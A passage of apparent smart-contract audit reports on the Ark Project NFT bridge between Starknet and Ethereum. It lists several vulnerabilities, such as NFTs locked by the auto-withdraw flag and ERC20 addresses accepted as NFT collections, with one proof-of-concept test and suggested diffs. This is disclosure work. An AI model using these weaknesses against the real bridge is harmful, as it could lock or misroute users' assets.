retrieving ERC721 collection metadata values (name, symbol, token_uri), we are retrieving their returned data to be `ByteArray`. Since these functions will return string values we need to understand what is the data type of string value in Cairo. 6 | 7 | Cairo is a low-level programming language, it does not support strings, and strings are represented using either `felt252` or `ByteArray`. 8 | 9 | If the string length is smaller than `31` length it can be represented in only one `felt252`. 10 | 11 | First we need to understand why there are two types for retrieving strings. 12 | 13 | The original type was normal `felt252`, but on March 2024 Starknet introduced `ByteArray` type. 14 | 15 | This means that all NFT collections (ERC721 tokens) are created from the launching of the Starknet blockchain till the type of supporting ByteArray having an interface that returns the `name`, `symbol`, and `token_uri` as `felt252`. 16 | 17 | OpenZepeplin starknet contract versions from the beginning to `v0.9.0` use `felt252` for their ERC721 tokens. 18 | 19 | [OZ::0.9.0::erc721.cairo#L219-L221](https://github.com/OpenZeppelin/cairo-contracts/blob/release-v0.9.0/src/token/erc721/erc721.cairo#L219-L221) 20 | ```cairo 21 | fn name(self: @ComponentState) -> felt252 { 22 | self.ERC721_name.read() 23 | } 24 | ``` 25 | 26 | And from `v0.10.0` to `v0.15.0` they use `ByteArray`. The protocol uses v0.11.0, which assigns the returned value to `ByteArray`. 27 | 28 | [OZ::0.11.0::erc721.cairo#L221-L223](https://github.com/OpenZeppelin/cairo-contracts/blob/release-v0.11.0/src/token/erc721/erc721.cairo#L221-L223) 29 | ```cairo 30 | fn name(self: @ComponentState) -> ByteArray { 31 | self.ERC721_name.read() 32 | } 33 | ``` 34 | 35 | The Starknet launched `November 2021` or `February 2022`, and `ByteArray` was supported on March 2024. so all ERC721 tokens created in these 2 years have an interface that returns `felt252` for `name`, `symbol`, and `token_uri`. 36 | 37 | The protocol is not handling such a case and deals with NFTs on layer2 as they return `ByteArray` when calling `name`, `symbol`, which is totally incorrect, as the majority of NFTs were created before supporting `ByteArray` so dealing with the returned value when calling `.name()` will only work for ERC721 tokens that was created after supporting `ByteArray`, and use it. 38 | 39 | When making calls there are two types of calls in starknet: 40 | 1. low-level call: similar to `.call` in solidity. 41 | 2. High-level calls: interface calls. 42 | 43 | In solidity the returned data is in Bytes whatever its type was, the same is in Starknet when doing low-level call the returned type is Span what ever the type was. 44 | 45 | We are handling retrieving token_uri correctly, where we are doing an internal call when getting them, which result in a return value as `Span` 46 | 47 | [collection_manager.cairo#L107-L123](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/collection_manager.cairo#L107-L123) 48 | ```cairo 49 | match starknet::call_contract_syscall( 50 | collection_address, 51 | token_uri_selector, 52 | calldata, 53 | ) { 54 | ❌️ Result::Ok(span) => span.try_into(), 55 | Result::Err(_e) => { 56 | match starknet::call_contract_syscall( 57 | collection_address, tokenURI_selector, calldata, 58 | ) { 59 | ❌️ Result::Ok(span) => span.try_into(), 60 | Result::Err(_e) => { 61 | Option::None 62 | } 63 | } 64 | } 65 | } 66 | ``` 67 | 68 | Since the returned value is felt252, we will convert it into `ByteArray` without problems and there is a custom implementation for `try_into` than handles converting felt252 into ByteArray correctly in `byte_array_extra`. 69 | 70 | The issue is that when getting token `name` and symbol we are retrieving them with High-level call. 71 | 72 | [collection_manager.cairo#L69-L70](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/collection_manager.cairo#L69-L70) 73 | ```cairo 74 | #[derive(Drop)] 75 | struct ERC721Metadata { 76 | name: ByteArray, 77 | symbol: ByteArray, 78 | base_uri: ByteArray, 79 | uris: Span, 80 | } 81 | ... 82 | Option::Some( 83 | ERC721Metadata { 84 | ❌️ name: erc721.name(), 85 | ❌️ symbol: erc721.symbol(), 86 | base_uri: "", 87 | uris 88 | } 89 | ) 90 | ``` 91 | 92 | The interface we are defining `ERC721Metadata` declares string values as `ByteArray` we explained why `uris` will get handled correctly, and for `base_uri` it is written manually, but for `name()` and `symbol()` we are calling them directly and expect the returned value to be of type `ByteArray`. 93 | 94 | `erc721` is the collection address we are going to Bridge the token from it from `L2` to `L1`, and since not all NFT collections on `L2`, but actually the majority of NFT collections on `L2` return `felt252`, making `erc721.name()` will result in an exception because of incorrect assigning. the execution will stop even we have an `Option` return value because this is an execution error that occurred before reaching the end of the function. 95 | 96 | ## Proof of Concept 97 | Doing a POC for such an issue is complicated, but to make it achievable we separated it into two parts: 98 | 99 | 1. In the Starknet development environment make another `erc721_collection` that returns `name()`, `symbol()`, `token_uri()` as strings. Achieving this needs a lot of modifications to `erc721_collection.cairo` file so we made another file `erc721_collection_2.cairo` and make it as an NFT collection that returns `felt252`. 100 | 2. Add the following test script in the last of `apps/blockchain/starknet/src/tests/bridge_t.cairo`. 101 | ```cairo 102 | fn deploy_erc721b_old( 103 | erc721b_contract_class: ContractClass, 104 | name: felt252, 105 | symbol: felt252, 106 | bridge_addr: ContractAddress, 107 | collection_owner: ContractAddress, 108 | ) -> ContractAddress { 109 | let mut calldata: Array = array![]; 110 | let base_uri: felt252 = 'https://my.base.uri/'; 111 | name.serialize(ref calldata); 112 | symbol.serialize(ref calldata); 113 | base_uri.serialize(ref calldata); 114 | calldata.append(bridge_addr.into()); 115 | calldata.append(collection_owner.into()); 116 | 117 | erc721b_contract_class.deploy(@calldata).unwrap() 118 | } 119 | 120 | #[test] 121 | fn deposit_token_auditor_old_erc721() { 122 | // Need to declare here to get the class hash before deploy anything. 123 | let erc721b_contract_class = declare("erc721_bridgeable"); 124 | let erc721b_old_contract_class = declare("erc721_bridgeable_2"); 125 | 126 | let BRIDGE_ADMIN = starknet::contract_address_const::<'starklane'>(); 127 | let BRIDGE_L1 = EthAddress { address: 'starklane_l1' }; 128 | let COLLECTION_OWNER = starknet::contract_address_const::<'collection owner'>(); 129 | let OWNER_L1 = EthAddress { address: 'owner_l1' }; 130 | 131 | let bridge_address = deploy_starklane(BRIDGE_ADMIN, BRIDGE_L1, erc721b_contract_class.class_hash); 132 | 133 | let erc721b_address = deploy_erc721b_old( 134 | erc721b_old_contract_class, 135 | 'everai', 136 | 'DUO', 137 | bridge_address, 138 | COLLECTION_OWNER 139 | ); 140 | 141 | let erc721 = IERC721Dispatcher { contract_address: erc721b_address }; 142 | 143 | mint_range(erc721b_address, COLLECTION_OWNER, COLLECTION_OWNER, 0, 10); 144 | 145 | let bridge = IStarklaneDispatcher { contract_address: bridge_address }; 146 | 147 | start_prank(CheatTarget::One(erc721b_address), COLLECTION_OWNER); 148 | erc721.set_approval_for_all(bridge_address, true); 149 | stop_prank(CheatTarget::One(erc721b_address)); 150 | 151 | start_prank(CheatTarget::One(bridge_address), COLLECTION_OWNER); 152 | println!("We will call bridge.deposit_tokens()..."); 153 | // This should revert 154 | bridge.deposit_tokens( 155 | 0x123, 156 | erc721b_address, 157 | OWNER_L1, 158 | array![0, 1].span(), 159 | false, 160 | false); 161 | println!("bridge.deposit_tokens() finished calling successfully"); 162 | stop_prank(CheatTarget::One(bridge_address)); 163 | 164 | 165 | } 166 | ``` 167 | 168 | Run the following command. 169 | 170 | ```shell 171 | snforge test deposit_token_auditor_old_erc721 172 | ``` 173 | 174 | > Output 175 | ```shell 176 | [FAIL] starklane::tests::bridge_t::tests::deposit_token_auditor_old_erc721 177 | 178 | Failure data: 179 | Got an exception while executing a hint: Hint Error: 0x4661696c656420746f20646573657269616c697a6520706172616d202331 ('Failed to deserialize param #1') 180 | ``` 181 | 182 | _NOTE: To not make the report too large, we mentioned in point `1` what we need in order for the POC to work, all you have to do is to deploy an `erc721_collection` that returns `felt252` for `name()`, and we preferred to leave this to you as mention how to make this needs a lot of modifications. And for the POC, you need to make sure that you are deploying the correct address, our POC works when there are two contracts `erc721_collection` and `erc721_collection_2` and the `2` version is the one that returns `felt252`, you need to import these contract and make sure to add them in order to get them in artificats and not receive path errors. And ofc having the sponsor with you when setting it up is the best_ 183 | 184 | ## Impact 185 | - The majourity of NFTs on `L2`, which returns `felt252` when calling `name()` or `symbol()` can't get briged. 186 | 187 | ## Tools Used 188 | Manual review + Starknet Foundry 189 | 190 | ## Recommendations 191 | reterive `erc721.name()` and `erc721.symbol()` using low-level to get the result as `Span` then convert them into `ByteArray`. 192 | -------------------------------------------------------------------------------- /L2 -> L1 Pack/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Inconsistency between `tokenURI` handling from L1 and L2 Sides 3 | 4 | ## Vulnerability Details 5 | In `L1Bridge` we are dealing with tokenURIs by only sending the `baseURI` if exists and if not we are sending each tokenURI separately. 6 | 7 | [TokenUtil.sol#L93-L103](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/TokenUtil.sol#L93-L103) 8 | ```solidity 9 | // How the URI must be handled. 10 | // if a base URI is already present, we ignore individual URI 11 | // else, each token URI must be bridged and then the owner of the collection 12 | // can decide what to do 13 | (bool success, string memory _baseUri) = _callBaseUri(collection); 14 | if (success) { 15 | return (c.name(), c.symbol(), _baseUri, new string[](0)); 16 | } 17 | else { 18 | string[] memory URIs = new string[](tokenIds.length); 19 | for (uint256 i = 0; i < tokenIds.length; i++) { 20 | URIs[i] = c.tokenURI(tokenIds[i]); 21 | } 22 | return (c.name(), c.symbol(), "", URIs); 23 | } 24 | ``` 25 | 26 | But if we checked how the case is handled when Bridging tokens from L2 to L1, we are not dealing with it that way. We are always getting tokenURIs separately. without trying to get the baseURI. 27 | 28 | [collection_manager.cairo#L33-L36](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/collection_manager.cairo#L33-L36) 29 | ```cairo 30 | fn erc721_metadata( ... ) -> Option { 31 | let erc721 = IERC721Dispatcher { contract_address }; 32 | 33 | ❌️ let uris = match token_ids { 34 | Option::Some(ids) => { ... }, 35 | Option::None => { ... } 36 | }; 37 | 38 | Option::Some( 39 | ERC721Metadata { 40 | name: erc721.name(), 41 | symbol: erc721.symbol(), 42 | ❌️ base_uri: "", 43 | uris 44 | } 45 | ) 46 | } 47 | ``` 48 | 49 | This inconsistency in Logic implemented in both Bridges is not a good approach and will make transferring with only the `base_uri`, which is cheaper than filling an array of tokenURIs, not allowed from the L2 Bridge side. 50 | 51 | ## Impact 52 | Inability to Bridge tokens from L2 to L1 with `base_uri` support. 53 | 54 | ## Tools Used 55 | Manual Review 56 | 57 | ## Recommendations 58 | The same as we did in `L1Bridge` side. We will make a function call to get the `base_uri` first, and if existed we will just pass it with an empty `token_uris` array. 59 | -------------------------------------------------------------------------------- /L2 -> L1 Pack/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Deposites from L2 to L1 will be unwithdrawable from L1 when activating `use_withdraw_auto` 3 | 4 | ## Vulnerability Details 5 | There was an issue related to Auto Withdrawals from L1 reported by `Cairo_Security_Clan`, and the team chose to remove this feature from the L1 side when withdrawing. 6 | 7 | [Bridge.sol#L169-L173](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L169-L173) 8 | ```solidity 9 | if (Protocol.canUseWithdrawAuto(header)) { 10 | // 2024-03-19: disabled autoWithdraw after audit report 11 | // _consumeMessageAutoWithdraw(_starklaneL2Address, request); 12 | ❌️ revert NotSupportedYetError(); 13 | } else { ... } 14 | ``` 15 | 16 | The problem is that this value is still taken as a parameter from the user in L2 Bridge when depositing Tokens. And no check guarantees that the value will be `false`, it is left to the user to set it. 17 | 18 | [bridge.cairo#L249](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L249) 19 | ```cairo 20 | fn deposit_tokens( 21 | ref self: ContractState, 22 | salt: felt252, 23 | collection_l2: ContractAddress, 24 | owner_l1: EthAddress, 25 | token_ids: Span, 26 | ❌️ use_withdraw_auto: bool, 27 | use_deposit_burn_auto: bool, 28 | ) { ... } 29 | ``` 30 | 31 | So people Bridging From L2 still think that auto withdrawal is supported. But it is actually not. which will end up Locking for their NFT in the L2 Bridge and the inability to withdraw them from L1 as calling `L1Bridge::withdrawTokens()` will always revert. 32 | 33 | ## Proof of Concept 34 | - UserA Wanted to Bridge one NFT from L2 to L1. 35 | - UserA thinks `use_withdraw_auto` is allowed as it is to him to either set or not set it. 36 | - UserA called `L2Bridge::deposit_tokens()` by setting `use_withdraw_auto` to true. 37 | - UserA Waited till `Starknet` verified the tx and put his message as an approved `L2toL1` message. 38 | - UserA tried to withdraw his NFTs on L1 by calling `L1Bridge::withdrawTokens()`. 39 | - Transactions get reverted whenever he tries to withdraw his token on L1. 40 | 41 | ## Impact 42 | Permanent Lock of NFTs on L2 Bridge Side and the inability to withdraw them from L1 side. 43 | 44 | ## Tools Used 45 | Manual Review 46 | 47 | ## Recommended Mitigation 48 | Ensure that `use_withdraw_auto` is set to false when withdrawing from L2 side. 49 | 50 | ```diff 51 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 52 | index 23cbf8a..5b82f1d 100644 53 | --- a/apps/blockchain/starknet/src/bridge.cairo 54 | +++ b/apps/blockchain/starknet/src/bridge.cairo 55 | @@ -250,6 +250,7 @@ mod bridge { 56 | ) { 57 | ensure_is_enabled(@self); 58 | assert(!self.bridge_l1_address.read().is_zero(), 'Bridge is not open'); 59 | + assert(use_withdraw_auto != true, "Auto Withdraw is Disappled"); 60 | 61 | // TODO: we may have the "from" into the params, to allow an operator 62 | // to deposit token for a user.``` 63 | -------------------------------------------------------------------------------- /L2 -> L1 Pack/M-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Users can create NFT collections on L1 relates to `ERC20` tokens on L2 3 | 4 | ## Vulnerability Details 5 | When Bridging NFTs from L1 -> L2, we are doing some checks. This includes ensuring a supported `ERC721` interface. and `tokens` to be bridged be greater than `0`. 6 | 7 | But When bridging from L2 -> L1, these two checks do not exist. we neither detect the interface nor check that the `tokenIds` is greater than zero. 8 | 9 | 1. When we are getting `erc721_metadata` without checking interface support, which is named ` 10 | introspection` or `ERC165` in EVM. And we are doing the function with `Option` returned value. So if there is an error occur when calling `token_uri` we just return an empty string. 11 | 12 | [bridge.cairo#L266-L270](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L266-L270) 13 | ```cairo 14 | fn erc721_metadata( 15 | contract_address: ContractAddress, 16 | token_ids: Option> 17 | ) -> Option { 18 | 19 | ... 20 | 21 | let erc721_metadata = erc721_metadata(collection_l2, Option::Some(token_ids)); 22 | let (name, symbol, base_uri, uris) = match erc721_metadata { 23 | Option::Some(data) => (data.name, data.symbol, data.base_uri, data.uris), 24 | ❌️ Option::None => ("", "", "", array![].span()) 25 | }; 26 | ``` 27 | 28 | And since most `ERC20` tokens implement the `name()`and `symbol()` like that in `ERC721` tokens 29 | 30 | [collection_manager.cairo#L67-L74](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/collection_manager.cairo#L67-L74) 31 | ```cairo 32 | Option::Some( 33 | ERC721Metadata { 34 | @> name: erc721.name(), 35 | @> symbol: erc721.symbol(), 36 | base_uri: "", 37 | uris 38 | } 39 | ) 40 | ``` 41 | 42 | So if we passed an `ERC20` token 43 | 44 | 2. When we send tokens to the `L2Bridge` via `escrow_deposit_tokens`, we are not checking that tokens to be bridged are greater than zero, which is not the case in `L1Bridge` where there is a check to ensure tokens are greater than `zero`. 45 | 46 | > L2Bridge: 47 | [bridge.cairo#L402-L407](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L402-L407) 48 | ```cairo 49 | // @audit No check for `0` amount tokens 50 | fn escrow_deposit_tokens( ... ) { 51 | let to = starknet::get_contract_address(); 52 | let erc721 = IERC721Dispatcher { contract_address }; 53 | 54 | let mut i = 0_usize; 55 | loop { ... }; 56 | } 57 | ``` 58 | 59 | > L1Bridge: 60 | [Escrow.sol#L33](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L33) 61 | ```solidity 62 | function _depositIntoEscrow( ... ) internal { 63 | ❌️ assert(ids.length > 0); 64 | 65 | for (uint256 i = 0; i < ids.length; i++) { 66 | uint256 id = ids[i]; 67 | } 68 | ``` 69 | 70 | So after collecting these two issues together we will be able to pass any address as `collection_l2`, and the tx will get processed successfully. 71 | 72 | ### A side issue 73 | The first issue is that `0` tokenIds amount is not checked in `L2Bridge` which is not the case in `L1Bridge` this is a side LOW severity issue, where tokenIds greater than `0` invariant is not checked in `L2Bridge`, which will allow users to create NFTs collection on `L1` and mapp them into the `L2` NFT collections without sending a single token. 74 | 75 | Returning back to our issue, we proved that an `ERC20` token will be passed till it reaches `_depositIntoEscrow()`. If tokenId is zero as we illustrated in the side issue, then matching an ERC20 on `L2` to an `ERC721` on `L1` will occur. But the issue is not just `0` tokens, since `transfer_from(address,address,u256)` is the function signature used when transfering `ERC721` tokens, this function is exactly the same for `ERC20` tokens in Starknet, so The user can simply but tokenID with any value and that value of tokens will get transfered from him to the `L2` Bridge. 76 | 77 | Example: 78 | - tokenId = `1`, will send `1 wei` from the user to the Bridge 79 | - tokenId = `1e18` will send `1e18` token amount from the user to the Bridge 80 | 81 | And the function will successed and that user will be able to receive an NFT on `L1` represents the amount he deposited on `L2`. and we can simply withdraw then by briding an NFT from `L1` to `L2` to receive the `ERC20.` 82 | 83 | This will result in deploying an ERC721 collection on l1 and tie it with that `ERC20` address passed as `collection_l2` by the called of `L2Bridge::deposit_tokens()`, which breaks the invariant of Linking NFTs collection on L1 and L2 and will link L1 NFT collection with `ERC20` address on L2. 84 | 85 | ## Impact 86 | Linking `ERC20` tokens on `L2` to `L1` addresses on `L1` 87 | 88 | ## Tools Used 89 | Manual Review 90 | 91 | ## Recommendations 92 | 93 | For solving the side issue: Check that the tokens to be bridges is greater than zero, this will ensure that this is an NFT collection as we are calling `erc721.transfer_from` and if did not support this interface it will revert the tx. 94 | 95 | ```diff 96 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 97 | index 23cbf8a..3f7c980 100644 98 | --- a/apps/blockchain/starknet/src/bridge.cairo 99 | +++ b/apps/blockchain/starknet/src/bridge.cairo 100 | @@ -405,6 +405,7 @@ mod bridge { 101 | from: ContractAddress, 102 | token_ids: Span, 103 | ) { 104 | + assert!(token_ids.len() > 0, "No Tokens to Transfer"); 105 | let to = starknet::get_contract_address(); 106 | let erc721 = IERC721Dispatcher { contract_address }; 107 | ``` 108 | 109 | And for the main issue, we should implement the `SRC5` check that is like `ERC165` in solidity, to insure that the address is an `ERC721` not an `ERC20` address. 110 | 111 | _NOTEL these are two separate issues not related to each other the first one is about not checking tokenIds array to be greater than zero, and the other is that not checking the interface of the address passed will allow linking `ERC20` tokens on `L2` Bridge as an NFTs on `L1`._ 112 | -------------------------------------------------------------------------------- /L2 -> L1 Pack/M-03.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Possibility of reverting when withdrawing Tokens from L1, if the receiver is an AA wallet 3 | 4 | ## Vulnerability Details 5 | 6 | When Bridging tokens from `L2->L1`, we provide the receiver address in L1, and after we made the tx on L2, gets proved by Starknet Protocol, the user can call `L1Bridge::withdrawTokens()` to receive his tokens in L1. 7 | 8 | We extract the tokens Bridged from `L2` to `L1`, and if that token was escrowed in `L1Bridge` we send it to the user from the `L1Bridge` to him, otherwise we mint it. 9 | 10 | [Bridge.sol#L201](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L201) 11 | ```solidity 12 | function withdrawTokens( ... ) ... { 13 | ... 14 | for (uint256 i = 0; i < req.tokenIds.length; i++) { 15 | ... 16 | ❌️ bool wasEscrowed = _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id); 17 | ... 18 | } 19 | ... 20 | } 21 | ``` 22 | 23 | When we transfer ERC721 token to the user we are using `safeTransferFrom` function, which checks if the receiver is a contract it calls `onERC721Receiver()` function. 24 | 25 | [Escrow.sol#L79](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L79) 26 | ```solidity 27 | function _withdrawFromEscrow(... ) ... { 28 | ... 29 | 30 | if (collectionType == CollectionType.ERC721) { 31 | ❌️ IERC721(collection).safeTransferFrom(from, to, id); 32 | } else { ... } 33 | ... 34 | } 35 | ``` 36 | 37 | The problem is that if the receiver is an Account Abstraction wallet, this function `onERC721Receiver()` is not a must to be presented. The implementation of AA Wallets didn't implement this interface nor it is implemented in the `ERC4337`. so if the receiver is an AA wallet the transaction will revert as it will not find that function and will revert. 38 | 39 | This doesn't mean that the NFT will be lost. since AA wallets contains `execute` function that can call arbitraty calls, they can handle NFTs, so implementing that interface `onERC721Receiver()` is not a must. 40 | 41 | ## Proof of Concept 42 | - UserA wants to Bridge NFTs from `L2` to `L1`. 43 | - UserA wants to send his NFTs to his AA wallet on `L1`. 44 | - UserA initiated the tx and called `L2Bridge::deposit_tokens()`. 45 | - When UserA wanted to call the `L1Bridge::withdrawTokens()` to withdraw his tokens. 46 | - tx reverted as the UserA `AA` wallet do not implement `onERC721Receive()`. 47 | - NFTs will be locked in the Bridge, and lost forever. 48 | 49 | ## Impact 50 | if the receiver on `L1` was an AA wallet NFTs may end up locked in the Bridge forever without having the apility to withdraw them. 51 | 52 | ## Recommendations 53 | Use `transfer` instead of `safeTransfer` when transferring NFTs. 54 | 55 | ```diff 56 | diff --git a/apps/blockchain/ethereum/src/Escrow.sol b/apps/blockchain/ethereum/src/Escrow.sol 57 | index c58bce9..47de782 100644 58 | --- a/apps/blockchain/ethereum/src/Escrow.sol 59 | +++ b/apps/blockchain/ethereum/src/Escrow.sol 60 | @@ -76,7 +76,7 @@ contract StarklaneEscrow is Context { 61 | address from = address(this); 62 | 63 | if (collectionType == CollectionType.ERC721) { 64 | - IERC721(collection).safeTransferFrom(from, to, id); 65 | + IERC721(collection).transferFrom(from, to, id); 66 | } else { 67 | // TODO: 68 | // Check here if the token supply is currently 0. 69 | ``` 70 | -------------------------------------------------------------------------------- /Others/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Unchecking address hash Collision when deploying NFT collection on L2 3 | 4 | ## Vulnerability Details 5 | 6 | When We Bridge NFTs from Ethereum to Starknet, we are deploying a new NFT collection if needed. 7 | 8 | When making the deploying process, we are using `Salt` (similar to Create2 in solidity). But the problem is that we are not checking if there is hash collision or not. 9 | 10 | [collection_manager.cairo#L153-L157](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/collection_manager.cairo#L153-L157) 11 | ```cairo 12 | fn deploy_erc721_bridgeable( ... ) -> ContractAddress { 13 | ... 14 | 15 | match starknet::deploy_syscall(class_hash, salt, calldata.span(), false) { 16 | ❌️ Result::Ok((addr, _)) => addr, 17 | // TODO: do we want an event emitted here? 18 | Result::Err(revert_reason) => panic(revert_reason) 19 | } 20 | } 21 | ``` 22 | 23 | As we can see we are returning the address after deploying, but if there is a Hash Collision the function will not revert it will just return `address(0)` as in Solidity/EVM. 24 | 25 | ## Impact 26 | Completing the process of Bridging tokens even if deploying NFT collection on Layer 2 fails. 27 | 28 | ## Tools Used 29 | Manual review 30 | 31 | ## Recommendations 32 | Check for the returned address, and revert if it was an `address(0)`. 33 | 34 | ```diff 35 | diff --git a/apps/blockchain/starknet/src/token/collection_manager.cairo b/apps/blockchain/starknet/src/token/collection_manager.cairo 36 | index 0d605b0..e150502 100644 37 | --- a/apps/blockchain/starknet/src/token/collection_manager.cairo 38 | +++ b/apps/blockchain/starknet/src/token/collection_manager.cairo 39 | @@ -151,7 +151,12 @@ fn deploy_erc721_bridgeable( 40 | // Last argument false -> set the address of the contract using this function 41 | // as the contract's deployed address. 42 | match starknet::deploy_syscall(class_hash, salt, calldata.span(), false) { 43 | - Result::Ok((addr, _)) => addr, 44 | + Result::Ok((addr, _)) => { 45 | + if addr == ContractAddress::zero() { 46 | + panic!("Address Zero"); 47 | + } 48 | + addr 49 | + }, 50 | // TODO: do we want an event emitted here? 51 | Result::Err(revert_reason) => panic(revert_reason) 52 | } 53 | ``` 54 | 55 | _NOTE: reverting is not the best choice here, as this will result in Losing Bridged NFTs, but also hash collision will result in failure of the deployment process, which will make the address not the NFT collection we need, and will result in incorrect L1<->L2 collection mappings. So implementing this check with a method to recover NFTs on L2 is a good choice._ 56 | -------------------------------------------------------------------------------- /Others/L-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | NFT Collection `l1<->l2` setting is always forced in `L2Bridge`. 3 | 4 | ## Vulnerability Details 5 | The Bridge takes an NFT from the source chain, and `transfer/mint` it to the receiver on the destination chain. If The collection we bridged has no address on the destination chain we deploy a new one. 6 | 7 | There is an Admin function that is used to set `l1<->l2` NFT collection addresses, where it can be used by the admin to set the NFT collection addresses on `L1` and `L2` himself. 8 | 9 | [CollectionManager.sol#L151-L165](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/CollectionManager.sol#L151-L165) 10 | ```solidity 11 | function _setL1L2AddressMapping( 12 | address collectionL1, 13 | snaddress collectionL2, 14 | bool force 15 | ) internal { 16 | if (((snaddress.unwrap(_l1ToL2Addresses[collectionL1]) == 0) && (_l2ToL1Addresses[collectionL2] == address(0))) 17 | || (force == true)) { 18 | _l1ToL2Addresses[collectionL1] = collectionL2; 19 | _l2ToL1Addresses[collectionL2] = collectionL1; 20 | } else { 21 | revert CollectionMappingAlreadySet(); 22 | } 23 | } 24 | ``` 25 | 26 | As we can see in the implementation on `L1Bridge` if the collections are already set we are not resetting them unless we activate the `force` parameter. 27 | 28 | This implementation is not the same as that in `L2Bridge`, where we are setting the collection addresses, without checking it or supporting forcing functionality. 29 | 30 | [bridge.cairo#L360-L364](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L360-L364) 31 | ```cairo 32 | fn set_l1_l2_collection_mapping(ref self: ContractState, collection_l1: EthAddress, collection_l2: ContractAddress) { 33 | ensure_is_admin(@self); 34 | self.l1_to_l2_addresses.write(collection_l1, collection_l2); 35 | self.l2_to_l1_addresses.write(collection_l2, collection_l1); 36 | } 37 | ``` 38 | 39 | As we can see forcing feature is not supported we are just modifying the collections without providing the checks we did in `L1Bridge`. 40 | 41 | So the two bridges do not have the same implementation when setting `l1<->l2` addresses manually. 42 | 43 | ## Recommendations 44 | Implement the forcing check that is in `L1Bridge` in `L2Bridge`. 45 | -------------------------------------------------------------------------------- /Others/L-03.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Hardcoding string offset slot is not a good approach 3 | 4 | ## Vulnerability Details 5 | 6 | In our library `Cairo.sol`, we are getting the length of the string by reading the offset `0x20` directly without knowing if this is the correct memory slot that contains the length or not. 7 | 8 | [Cairo.sol#L265](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/sn/Cairo.sol#L265) 9 | ```solidity 10 | function cairoStringPack(string memory str) ... { 11 | ... 12 | ❌️ uint256 offset = 0x20; // length is first u256 13 | ... 14 | } 15 | ``` 16 | 17 | Encoding string variables always puts the length offset in the first slot `0x00` and in this slot (`0x00`) the length slot value is written, which always comes directly after it in most and normal encodings (i.e `0x20`). 18 | 19 | Although this is the normal encoding string method, the offset contains the length slot which can come after it directly, or after escaping on the slot, 2 slots, ... So we cannot guarantee that the string encoding is always putting the length value at slot `0x20`. 20 | 21 | This will result in a wrong encoding of the string. which will make incorrect results when encoding string values. 22 | 23 | ## Recommendations 24 | 25 | Retrieve the length slot from the offset first, and then use it to read the string value and pack it, instead of directly reading it from slot `0x20`. 26 | -------------------------------------------------------------------------------- /Others/L-04.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | `erc721_bridgable::mint_range` is not checking if the `end` is greater than `start` 3 | 4 | ## Vulnerability Details 5 | There is a method called `mint_range` in the custom implementation of `ERC721` on `L2` where it can be used by the owner to mint owner to mint more than one NFT at one time. 6 | 7 | [erc721_bridgeable.cairo#L141-L150](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/erc721_bridgeable.cairo#L141-L150) 8 | ```cairo 9 | fn mint_range(ref self: ContractState, to: ContractAddress, start: u256, end: u256) { 10 | // @audit no check that end is greater than start 11 | let mut token_id = start; 12 | loop { 13 | if token_id == end { 14 | break (); 15 | } 16 | self.mint(to, token_id); 17 | token_id += 1_u256; 18 | } 19 | } 20 | ``` 21 | 22 | As we can see there is no check that `end` is greater than `start` which is not a normal thing to leave without checking it when doing sequential operations like minting tokens in order. 23 | 24 | If `end` equals s`start` we will end up not minting anything, as we are not including the end in that implementation of the function. and if the `end` is smaller than `start` will go in an infinite loop which will make our tx go `OOG`. 25 | 26 | ## Recommendations 27 | Check that the `end` is greater than `start` 28 | 29 | ```diff 30 | diff --git a/apps/blockchain/starknet/src/token/erc721_bridgeable.cairo b/apps/blockchain/starknet/src/token/erc721_bridgeable.cairo 31 | index 9ec9419..466d51e 100644 32 | --- a/apps/blockchain/starknet/src/token/erc721_bridgeable.cairo 33 | +++ b/apps/blockchain/starknet/src/token/erc721_bridgeable.cairo 34 | @@ -139,6 +139,7 @@ mod erc721_bridgeable { 35 | } 36 | 37 | fn mint_range(ref self: ContractState, to: ContractAddress, start: u256, end: u256) { 38 | + assert(end > start, 'end should be > start'); 39 | let mut token_id = start; 40 | loop { 41 | if token_id == end { 42 | ``` 43 | -------------------------------------------------------------------------------- /Others/L-05.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Payload check does not exist when Bridging from `L2` to `L1` 3 | 4 | ## Vulnerability Details 5 | 6 | When Bridging NFTs from `L1` to `L2` there is a check that ensures the payload data we are Bridging do not exceed `MAX_PAYLOAD_LENGTH` which is set to `300` 7 | 8 | 